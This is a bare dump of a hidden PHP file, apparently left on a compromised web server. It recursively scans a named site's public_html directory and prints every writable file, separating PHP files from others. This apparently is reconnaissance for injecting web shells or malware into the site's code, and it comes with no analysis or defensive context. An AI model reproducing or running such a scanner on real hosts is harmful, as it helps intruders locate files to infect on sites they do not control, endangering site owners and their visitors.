File: //var/tmp/.accepted
<?php function scan($path, $root, $php=true) { if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { $p = $path . '/' . $file; if ($file != '.' && $file != '..') { if (is_link($p)) { continue; } elseif (is_dir($p)) { scan($p, $root, $php); } elseif (is_file($p) && is_writable($p)) { $ext = pathinfo($p, PATHINFO_EXTENSION); $res = str_replace($root, '', $p); if ($php && $ext == 'php') { print "<f>{$res}</f>\n"; } elseif (!$php && $ext != 'php') { print "<f>!{$res}</f>\n"; } } } } } } $r = "/home/whitespacesolutions.com/public_html"; scan($r, $r); die('!ended!');